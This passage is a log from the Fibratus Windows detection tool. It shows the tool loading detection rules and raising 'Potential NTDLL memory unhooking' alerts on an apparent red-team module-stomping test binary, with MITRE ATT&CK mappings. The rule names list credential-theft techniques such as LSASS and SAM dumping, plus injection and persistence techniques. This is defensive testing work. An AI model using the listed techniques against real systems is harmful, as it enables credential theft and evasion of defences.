HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:11:00+01:00 level=info msg=bootstrapping with pid 17212. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:11:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-dns=>false enable-vamap=>true max-buffers=>36 stack-enrichment=>true enable-handle=>false enable-image=>true enable-registry=>true enable-net=>true enable-thread=>true enable-audit-api=>true enable-fileio=>true enable-threadpool=>false buffer-size=>512 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text log-stdout=>true level=>info max-backups=>15] + output ......................... [ elasticsearch=>[ bulk-workers=>1 trace-log=>false healthcheck-interval=>10s healthcheck=>true flush-period=>1s index-name=>fibratus timeout=>5s template-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false enabled=>false] amqp=>[ enabled=>false tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic timeout=>5s durable=>false vhost=>/ delivery-mode=>transient routing-key=>fibratus] http=>[ enable-gzip=>false serializer=>json enabled=>false timeout=>5s method=>POST tls-insecure-skip-verify=>false endpoints=>[]] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true excluded-files=>[] skip-files=>false skip-allocs=>false skip-registry=>false skip-mmaps=>false enabled=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:11:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:11:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:11:13+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 2541810 + Pid: 10092 + Tid: 8360 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 17:11:07.3831954 +0100 CET + Params: base_address➜ 2d366880000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 10092, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.name: Potential NTDLL memory unhooking, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 10092 + + Pid: 10092 + Ppid: 17996 + UUID: 1762877469519282172 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 2526718 + Pid: 10092 + Tid: 8360 + Type: SetThreadContext + CPU: 7 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 17:11:07.477617 +0100 CET + Params: status➜ The handle is invalid + Metadata: rule.seq.link: 10092, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Potential NTDLL memory unhooking + + Pid: 10092 + Ppid: 17996 + UUID: 11651379566778918764 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T17:13:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:13:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:13:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:25:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:25:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:25:27+01:00 level=info msg=bootstrapping with pid 6284. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:25:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 content-type=>text/html to=>[] use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ min-buffers=>16 flush-interval=>1s enable-handle=>false enable-fileio=>true enable-registry=>true max-buffers=>36 buffer-size=>512 enable-audit-api=>true enable-image=>true enable-mem=>false enable-net=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-vamap=>true enable-dns=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-backups=>15 log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ elasticsearch=>[ enabled=>false healthcheck-interval=>10s trace-log=>false flush-period=>1s sniff=>false timeout=>5s index-name=>fibratus template-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true bulk-workers=>1] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ exchange-type=>topic timeout=>5s vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false passive=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false exchange=>fibratus] http=>[ method=>POST timeout=>5s endpoints=>[] enabled=>false serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-allocs=>false fastscan=>true skip-files=>false enabled=>false skip-mmaps=>false excluded-files=>[] skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:25:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:25:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:25:42+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 2569660 + Pid: 13692 + Tid: 7528 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 17:25:36.4272469 +0100 CET + Params: base_address➜ 1adab050000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 13692, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.seq.link: 13692, rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 13692 + Ppid: 17996 + UUID: 11651379566778922364 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 2568301 + Pid: 13692 + Tid: 7528 + Type: SetThreadContext + CPU: 1 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 17:25:36.517028 +0100 CET + Params: status➜ The handle is invalid + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Potential NTDLL memory unhooking, rule.seq.link: 13692, tactic.id: TA0005 + + Pid: 13692 + Ppid: 17996 + UUID: 11651379566778922364 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T17:26:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:26:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:26:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:28:48+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:28:48+01:00 level=info msg=loading rule from 